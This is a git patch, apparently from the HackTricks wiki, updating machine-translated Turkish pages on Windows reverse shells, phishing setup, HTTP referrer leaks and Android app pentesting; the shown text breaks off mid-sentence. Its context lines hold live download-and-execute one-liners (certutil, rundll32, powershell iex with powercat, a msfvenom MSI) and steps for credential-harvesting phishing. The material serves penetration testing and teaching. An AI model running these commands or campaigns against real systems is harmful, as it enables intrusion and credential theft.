From 64fc530fc912e38999a923faace1ee253c522e57 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 4 Feb 2025 18:41:34 +0000 Subject: [PATCH] Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi --- src/generic-hacking/reverse-shells/windows.md | 26 +-- .../phishing-methodology/README.md | 56 ++--- src/interesting-http.md | 8 +- .../android-app-pentesting/README.md | 216 +++++++++--------- .../android-applications-basics.md | 96 ++++---- .../drozer-tutorial/README.md | 32 ++- .../make-apk-accept-ca-certificate.md | 8 +- .../iis-internet-information-services.md | 38 +-- .../pentesting-web/wordpress.md | 58 ++--- src/pentesting-web/cache-deception/README.md | 48 ++-- .../client-side-template-injection-csti.md | 8 +- .../README.md | 110 ++++----- src/pentesting-web/deserialization/README.md | 158 ++++++------- src/pentesting-web/open-redirect.md | 9 +- .../pocs-and-polygloths-cheatsheet/README.md | 28 +-- .../postmessage-vulnerabilities/README.md | 40 ++-- src/pentesting-web/reverse-tab-nabbing.md | 20 +- ...inclusion-edge-side-inclusion-injection.md | 28 +-- src/pentesting-web/websocket-attacks.md | 32 +-- .../xss-cross-site-scripting/README.md | 176 +++++++------- .../server-side-xss-dynamic-pdf.md | 38 +-- src/todo/interesting-http.md | 8 +- .../create-msi-with-wix.md | 2 +- 23 files changed, 620 insertions(+), 623 deletions(-) diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 6a138e927..ebd8a90a4 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -5,7 +5,7 @@ ## Lolbas Sayfa [lolbas-project.github.io](https://lolbas-project.github.io/) Windows için, tıpkı [https://gtfobins.github.io/](https://gtfobins.github.io/) linux için olduğu gibi.\ -Açıkça, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **ikili dosyaların** nasıl (kötüye) kullanılabileceğini bilmek faydalıdır, bu da bazı beklenmedik eylemleri gerçekleştirmek için **rastgele kod çalıştırmak** gibi şeyleri içerir. +Açıkça, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **ikili dosyaların** nasıl (kötüye) kullanılabileceğini bilmek faydalıdır, böylece bazı beklenmedik eylemleri gerçekleştirmek için **rastgele kod çalıştırma** gibi. ## NC ```bash @@ -113,7 +113,7 @@ mshta \\webdavserver\folder\payload.hta ```xml ``` -**Koadic zombi'yi stager hta kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz.** +**Koadic zombi indirmek ve çalıştırmak stager hta kullanarak çok kolaydır.** #### hta örneği @@ -175,7 +175,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` -**Defans tarafından tespit edildi** +**Defansör tarafından tespit edildi** **Rundll32 - sct** @@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll #### Regsvr32 -sct [**Buradan**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -255,15 +255,15 @@ run - [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) -B64dll indirin, kodunu çözün ve çalıştırın. +Bir B64dll indirin, kodunu çözün ve çalıştırın. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` -B64exe indirin, çözün ve çalıştırın. +B64exe indirin, çözümleyin ve çalıştırın. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` -**Defansör tarafından tespit edildi** +**Defans tarafından tespit edildi** ## **Cscript/Wscript** ```bash @@ -289,7 +289,7 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` -**Defansör tarafından tespit edildi** +**Defans tarafından tespit edildi** ## **MSIExec** @@ -298,7 +298,7 @@ Saldırgan msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` -Kurban: +Mağdur: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` @@ -345,7 +345,7 @@ Kurban makinesinde C# kodunu derleyin. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` -Buradan temel bir C# ters kabuk indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) +Buradan temel bir C# reverse shell indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Tespit edilmedi** @@ -424,13 +424,13 @@ Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve indirin ve ç ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` -**Kötü amaçlı kod olarak tespit edildi** +**Kötü niyetli kod olarak tespit edildi** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Unicorn kullanarak metasploit arka kapısının bir powershell versiyonunu oluşturun +Unicorn kullanarak metasploit arka kapısının bir powershell versiyonunu oluşturun. ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` @@ -442,7 +442,7 @@ Bir web sunucusu başlatın ve _powershell_attack.txt_ dosyasını sunun ve kurb ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` -**Kötü amaçlı kod olarak tespit edildi** +**Kötü niyetli kod olarak tespit edildi** ## Daha Fazla diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index ecdc02d5a..ea49563c5 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -6,11 +6,11 @@ 1. Kurbanı araştır 1. **Kurban alan adını** seç. -2. Kurbanın kullandığı **giriş portallarını** bulmak için bazı temel web taramaları yap ve hangi birini **taklit edeceğine** **karar ver**. +2. Kurbanın kullandığı **giriş portallarını** bulmak için bazı temel web taramaları yap ve hangi birimi **taklit edeceğine** **karar ver**. 3. **E-posta bulmak için** bazı **OSINT** kullan. 2. Ortamı hazırla 1. Phishing değerlendirmesi için kullanacağın **alan adını satın al**. -2. İlgili kayıtları **e-posta hizmetini yapılandır** (SPF, DMARC, DKIM, rDNS). +2. İlgili kayıtları (SPF, DMARC, DKIM, rDNS) **e-posta hizmetini yapılandır**. 3. **gophish** ile VPS'yi yapılandır. 3. Kampanyayı hazırla 1. **E-posta şablonunu** hazırla. @@ -23,8 +23,8 @@ - **Anahtar Kelime**: Alan adı, orijinal alan adının önemli bir **anahtar kelimesini** **içerir** (örneğin, zelster.com-management.com). - **tireli alt alan**: Bir alt alanın **noktasını tire ile değiştir** (örneğin, www-zelster.com). -- **Yeni TLD**: Aynı alan adı **yeni bir TLD** kullanarak (örneğin, zelster.org). -- **Homoglif**: Alan adındaki bir harfi **benzer görünen harflerle** **değiştirir** (örneğin, zelfser.com). +- **Yeni TLD**: Aynı alan adı, **yeni bir TLD** kullanarak (örneğin, zelster.org). +- **Homoglif**: Alan adındaki bir harfi, **benzer görünen harflerle** **değiştirir** (örneğin, zelfser.com). - **Transpozisyon:** Alan adındaki iki harfi **değiştirir** (örneğin, zelsetr.com). - **Tekil/Çoğul**: Alan adının sonuna “s” ekler veya çıkarır (örneğin, zeltsers.com). - **Atlama**: Alan adından bir harfi **çıkarır** (örneğin, zelser.com). @@ -65,7 +65,7 @@ Satın almayı düşündüğün süresi dolmuş alan adının **iyi bir SEO'ya s - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) -## E-posta Keşfi +## E-posta Bulma - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (%100 ücretsiz) - [https://phonebook.cz/](https://phonebook.cz) (%100 ücretsiz) @@ -73,14 +73,14 @@ Satın almayı düşündüğün süresi dolmuş alan adının **iyi bir SEO'ya s - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -Daha fazla geçerli e-posta adresi **keşfetmek** veya zaten keşfettiğin e-posta adreslerini **doğrulamak** için, kurbanın smtp sunucularını brute-force ile kontrol edebilirsin. [E-posta adresini doğrulamak/keşfetmek için burayı öğren](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ +Daha fazla geçerli e-posta adresi **bulmak veya** zaten bulduğun e-posta adreslerini **doğrulamak için**, kurbanın smtp sunucularını brute-force ile kontrol edebilirsin. [E-posta adresini doğrulama/bulma hakkında buradan öğren](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ Ayrıca, kullanıcıların **e-postalarına erişmek için herhangi bir web portalı kullanıp kullanmadığını** unutma; eğer kullanıyorsa, **kullanıcı adı brute force** saldırısına karşı savunmasız olup olmadığını kontrol edebilir ve mümkünse bu zafiyeti istismar edebilirsin. ## GoPhish'i Yapılandırma ### Kurulum -[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) adresinden indirebilirsin. +Bunu [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) adresinden indirebilirsin. İndirin ve `/opt/gophish` dizinine çıkarın ve `/opt/gophish/gophish` komutunu çalıştırın.\ Çıktıda, 3333 numaralı portta admin kullanıcı için bir şifre verilecektir. Bu nedenle, o porta erişin ve bu kimlik bilgilerini kullanarak admin şifresini değiştirin. O portu yerel olarak tünellemeniz gerekebilir: @@ -122,7 +122,7 @@ Sonra alan adını aşağıdaki dosyalara ekleyin: `myhostname = `\ `mydestination = $myhostname, , localhost.com, localhost` -Son olarak **`/etc/hostname`** ve **`/etc/mailname`** dosyalarını alan adınızla değiştirin ve **VPS'nizi yeniden başlatın.** +Son olarak **`/etc/hostname`** ve **`/etc/mailname`** dosyalarını alan adınıza göre değiştirin ve **VPS'nizi yeniden başlatın.** Şimdi, `mail.` için bir **DNS A kaydı** oluşturun ve bunu VPS'nin **ip adresine** yönlendirin ve `mail.` için bir **DNS MX** kaydı oluşturun. @@ -225,7 +225,7 @@ service gophish stop Bir alan adı ne kadar eskiyse, spam olarak yakalanma olasılığı o kadar düşüktür. Bu nedenle, phishing değerlendirmesinden önce mümkün olduğunca uzun süre (en az 1 hafta) beklemelisiniz. Ayrıca, itibarlı bir sektörde bir sayfa oluşturursanız, elde edilen itibar daha iyi olacaktır. -Bir hafta beklemeniz gerekse bile, her şeyi şimdi yapılandırmayı tamamlayabileceğinizi unutmayın. +Bir hafta beklemeniz gerekse bile, her şeyi şimdi yapılandırmayı bitirebileceğinizi unutmayın. ### Ters DNS (rDNS) kaydını yapılandırın @@ -233,7 +233,7 @@ VPS'nin IP adresini alan adıyla çözen bir rDNS (PTR) kaydı ayarlayın. ### Gönderen Politika Çerçevesi (SPF) Kaydı -Yeni alan adı için **bir SPF kaydı yapılandırmalısınız**. SPF kaydının ne olduğunu bilmiyorsanız [**bu sayfayı okuyun**](../../network-services-pentesting/pentesting-smtp/index.html#spf). +Yeni alan için **bir SPF kaydı yapılandırmalısınız**. SPF kaydının ne olduğunu bilmiyorsanız [**bu sayfayı okuyun**](../../network-services-pentesting/pentesting-smtp/index.html#spf). SPF politikanızı oluşturmak için [https://www.spfwizard.net/](https://www.spfwizard.net) adresini kullanabilirsiniz (VPS makinesinin IP'sini kullanın). @@ -267,11 +267,11 @@ Bu eğitim, [https://www.digitalocean.com/community/tutorials/how-to-install-and ### E-posta yapılandırma puanınızı test edin Bunu [https://www.mail-tester.com/](https://www.mail-tester.com) kullanarak yapabilirsiniz.\ -Sadece sayfaya erişin ve size verilen adrese bir e-posta gönderin: +Sadece sayfaya erişin ve size verdikleri adrese bir e-posta gönderin: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` -Ayrıca **e-posta yapılandırmanızı kontrol edebilirsiniz** `check-auth@verifier.port25.com` adresine bir e-posta göndererek ve **yanıtı okuyarak** (bunu yapmak için **25** numaralı portu **açmanız** ve e-postayı root olarak gönderirseniz yanıtı _/var/mail/root_ dosyasında görmeniz gerekecek).\ +Ayrıca **email yapılandırmanızı kontrol edebilirsiniz** `check-auth@verifier.port25.com` adresine bir email göndererek ve **yanıtı okuyarak** (bunun için **25** numaralı portu **açmanız** ve emaili root olarak gönderirseniz _/var/mail/root_ dosyasında yanıtı görmeniz gerekecek).\ Tüm testleri geçtiğinizden emin olun: ```bash ========================================================== @@ -291,11 +291,11 @@ dkim=pass header.i=@example.com; ``` ### Spamhouse Kara Listesinden Çıkarma -Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamhouse tarafından engellenip engellenmediğini gösterebilir. Alan adınızın/IP'nizin kaldırılmasını şu adresten talep edebilirsiniz: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) +Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamhouse tarafından engellenip engellenmediğini gösterebilir. Alan adınızın/IP'nizin kaldırılmasını talep edebilirsiniz: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ### Microsoft Kara Listesinden Çıkarma -​​Alan adınızın/IP'nizin kaldırılmasını [https://sender.office.com/](https://sender.office.com) adresinden talep edebilirsiniz. +Alan adınızın/IP'nizin kaldırılmasını talep edebilirsiniz [https://sender.office.com/](https://sender.office.com). ## GoPhish Kampanyası Oluşturma ve Başlatma @@ -309,7 +309,7 @@ Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamho > [!NOTE] > Her şeyin çalıştığını test etmek için "**Test E-postası Gönder**" işlevini kullanmanız önerilir.\ -> Test yaparken kara listeye alınmamak için **test e-postalarını 10 dakikalık e-posta adreslerine göndermeyi** öneririm. +> Test yaparken kara listeye alınmamak için **test e-postalarını 10 dakikalık e-posta adreslerine** göndermeyi öneririm. ### E-posta Şablonu @@ -317,7 +317,7 @@ Sayfa [www.mail-tester.com](https://www.mail-tester.com) alan adınızın spamho - Ardından bir **konu** yazın (olağan bir e-postada okuyabileceğiniz bir şey olsun) - "**İzleme Resmi Ekle**" seçeneğini kontrol ettiğinizden emin olun - **e-posta şablonunu** yazın (aşağıdaki örnekteki gibi değişkenler kullanabilirsiniz): -```markup +```html @@ -335,16 +335,16 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -Not edin ki **e-postanın güvenilirliğini artırmak için**, müşteriden gelen bir e-posta imzası kullanmanız önerilir. Öneriler: +Not edin ki **e-postanın güvenilirliğini artırmak için**, müşteriden gelen bir e-postadan bazı imzalar kullanılması önerilir. Öneriler: - **var olmayan bir adrese** e-posta gönderin ve yanıtın herhangi bir imza içerip içermediğini kontrol edin. - **açık e-postalar** arayın, örneğin info@ex.com veya press@ex.com veya public@ex.com ve onlara bir e-posta gönderin ve yanıtı bekleyin. -- **bazı geçerli bulunan** e-postalarla iletişim kurmayı deneyin ve yanıtı bekleyin. +- **bazı geçerli keşfedilmiş** e-postalarla iletişim kurmayı deneyin ve yanıtı bekleyin. ![](<../../images/image (80).png>) > [!NOTE] -> E-posta Şablonu ayrıca **göndermek için dosyalar eklemeye** de olanak tanır. Eğer NTLM zorluklarını çalmak için özel olarak hazırlanmış dosyalar/belgeler kullanmak isterseniz [bu sayfayı okuyun](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). +> E-posta Şablonu ayrıca **göndermek için dosyalar eklemeye** de olanak tanır. Eğer bazı özel hazırlanmış dosyalar/belgeler kullanarak NTLM zorluklarını çalmak isterseniz [bu sayfayı okuyun](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). ### Açılış Sayfası @@ -356,16 +356,16 @@ Not edin ki **e-postanın güvenilirliğini artırmak için**, müşteriden gele ![](<../../images/image (826).png>) > [!NOTE] -> Genellikle sayfanın HTML kodunu değiştirmeniz ve yerel olarak bazı testler yapmanız gerekecektir (belki bir Apache sunucusu kullanarak) **sonuçlardan memnun kalana kadar.** Sonra, o HTML kodunu kutuya yazın.\ +> Genellikle sayfanın HTML kodunu değiştirmeniz ve yerel olarak bazı testler yapmanız gerekecektir (belki bazı Apache sunucusu kullanarak) **sonuçlardan memnun kalana kadar.** Sonra, o HTML kodunu kutuya yazın.\ > HTML için **bazı statik kaynaklar** kullanmanız gerekiyorsa (belki bazı CSS ve JS sayfaları) bunları _**/opt/gophish/static/endpoint**_ dizinine kaydedebilir ve ardından _**/static/\**_ yoluyla erişebilirsiniz. > [!NOTE] -> Yönlendirme için kullanıcıları **kurbanın gerçek ana web sayfasına yönlendirebilir** veya örneğin _/static/migration.html_ adresine yönlendirebilir, 5 saniye boyunca bir **dönme tekerleği** (**[**https://loading.io/**](https://loading.io)**) koyabilir ve ardından işlemin başarılı olduğunu belirtebilirsiniz. +> Yönlendirme için kullanıcıları **kurbanın gerçek ana web sayfasına yönlendirebilir** veya örneğin _/static/migration.html_ sayfasına yönlendirebilir, 5 saniye boyunca bir **dönme tekerleği** (**[**https://loading.io/**](https://loading.io)**) koyabilir ve ardından işlemin başarılı olduğunu belirtebilirsiniz. ### Kullanıcılar ve Gruplar -- Bir isim belirleyin. -- **Verileri içe aktarın** (örneğin, şablonu kullanmak için her kullanıcının adı, soyadı ve e-posta adresine ihtiyacınız olduğunu unutmayın). +- Bir isim ayarlayın. +- **Verileri içe aktarın** (örneğin şablonu kullanmak için her kullanıcının adı, soyadı ve e-posta adresine ihtiyacınız olduğunu unutmayın). ![](<../../images/image (163).png>) @@ -410,7 +410,7 @@ Bu noktada [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSn 1. Gerçek web sayfasının **giriş** formunu taklit edersiniz. 2. Kullanıcı **kimlik bilgilerini** sahte sayfanıza gönderir ve araç bu bilgileri gerçek web sayfasına gönderir, **kimlik bilgilerin çalışıp çalışmadığını kontrol eder**. 3. Hesap **2FA** ile yapılandırılmışsa, MitM sayfası bunu isteyecek ve kullanıcı bunu girdikten sonra araç bunu gerçek web sayfasına gönderecektir. -4. Kullanıcı kimlik doğrulandıktan sonra (saldırgan olarak) **kimlik bilgilerini, 2FA'yı, çerezi ve aracın MitM gerçekleştirdiği her etkileşimden elde edilen bilgileri** yakalamış olacaksınız. +4. Kullanıcı kimlik doğrulandıktan sonra siz (saldırgan olarak) **kimlik bilgilerini, 2FA'yı, çerezi ve aracın MitM gerçekleştirdiği her etkileşimden elde edilen bilgileri** yakalamış olacaksınız. ### VNC Üzerinden @@ -419,20 +419,20 @@ Bunu [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ile yapabilirsiniz. ## Tespiti Tespit Etme -Elbette, yakalandığınızı anlamanın en iyi yollarından biri, **alan adınızı kara listelerde aramaktır**. Eğer listelenmişse, bir şekilde alan adınız şüpheli olarak tespit edilmiştir.\ +Açıkça, yakalandığınızı bilmenin en iyi yollarından biri, **alan adınızı kara listelerde aramaktır**. Eğer listelenmişse, bir şekilde alan adınız şüpheli olarak tespit edilmiştir.\ Alan adınızın herhangi bir kara listede görünüp görünmediğini kontrol etmenin kolay bir yolu [https://malwareworld.com/](https://malwareworld.com) kullanmaktır. -Ancak, kurbanın **şüpheli phishing faaliyetlerini aktif olarak arayıp aramadığını** anlamanın başka yolları da vardır, bunlar aşağıda açıklanmıştır: +Ancak, kurbanın **şüpheli phishing faaliyetlerini aktif olarak arayıp aramadığını** bilmenin başka yolları da vardır, bunlar aşağıda açıklanmıştır: {{#ref}} detecting-phising.md {{#endref}} -**Kurbanın alan adına çok benzer bir isimle bir alan adı satın alabilir** ve/veya **kontrolünüzdeki bir alanın** **alt alanı için bir sertifika oluşturabilirsiniz** **ve kurbanın alan adının** **anahtar kelimesini** içerebilirsiniz. Eğer **kurban** bu alanlarla herhangi bir **DNS veya HTTP etkileşimi** gerçekleştirirse, **şüpheli alan adlarını aktif olarak aradığını** bileceksiniz ve çok dikkatli olmanız gerekecek. +**Kurbanın alan adına çok benzer bir isimle bir alan adı satın alabilir** ve/veya **sizin kontrolünüzdeki bir alanın** **alt alanı için bir sertifika oluşturabilirsiniz** **kurbanın alan adının** **anahtar kelimesini** içeren. Eğer **kurban** onlarla herhangi bir tür **DNS veya HTTP etkileşimi** gerçekleştirirse, **şüpheli alan adlarını aktif olarak aradığını** bileceksiniz ve çok dikkatli olmanız gerekecek. ### Phishing'i Değerlendirme -E-postanızın spam klasörüne düşüp düşmeyeceğini veya engellenip engellenmeyeceğini veya başarılı olup olmayacağını değerlendirmek için [**Phishious**](https://github.com/Rices/Phishious) kullanın. +E-postanızın spam klasörüne düşüp düşmeyeceğini veya engellenip engellenmeyeceğini veya başarılı olup olmayacağını değerlendirmek için [**Phishious** ](https://github.com/Rices/Phishious) kullanın. ## Referanslar diff --git a/src/interesting-http.md b/src/interesting-http.md index 86d8994a7..cac01fadb 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -6,7 +6,7 @@ Referrer, tarayıcılar tarafından önceki ziyaret edilen sayfayı belirtmek i ## Hassas bilgilerin sızdırılması -Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde yer alıyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) bir şekilde yönlendirebiliyorsa, en son GET isteği içindeki hassas bilgileri dışarıya aktarabilir. +Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde bulunuyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) öneride bulunabiliyorsa, en son GET isteğindeki hassas bilgileri dışarıya aktarabilir. ## Azaltma @@ -23,13 +23,13 @@ Referrer-Policy: unsafe-url ``` ## Karşı Önlem -Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu kullanması gerekir): -```markup +Bu kuralı bir HTML meta etiketi kullanarak geçersiz kılabilirsiniz (saldırganın bir HTML enjeksiyonu gerçekleştirmesi gerekir): +```html ``` ## Savunma -Hassas verileri asla GET parametreleri veya URL'deki yolların içine koymayın. +Asla hassas verileri GET parametreleri veya URL'deki yolların içine koymayın. {{#include ./banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 2d1586b34..ce3568182 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -20,11 +20,11 @@ ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutlar ## Smali Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.\ -[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden compile edeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. +[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden compile etmeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. ## Diğer ilginç ipuçları -- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md) +- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md) - **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Cihazdan APK çıkarın: ```bash @@ -47,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## Statik Analiz -Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\ -Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md). +Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir decompiler kullanarak.\ +Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md). -### İlginç Bilgiler Aramak +### İlginç Bilgiler Arama -APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın. +APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) için bile bakın. **Firebase** @@ -60,24 +60,24 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c ### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml -Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi, potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara dekompilerler kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir. +Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir. -**Manifest.xml** dosyasından belirlenen **Güvenlik Açıkları** şunlardır: +**Manifest.xml** dosyasından tespit edilen **açıklar** şunlardır: -- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun. -- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde. +- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun. +- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemeleri önlenir. - **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek. - **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir. -- **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir. +- **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açıkta olan içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir. - **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir. - **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular. -**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler 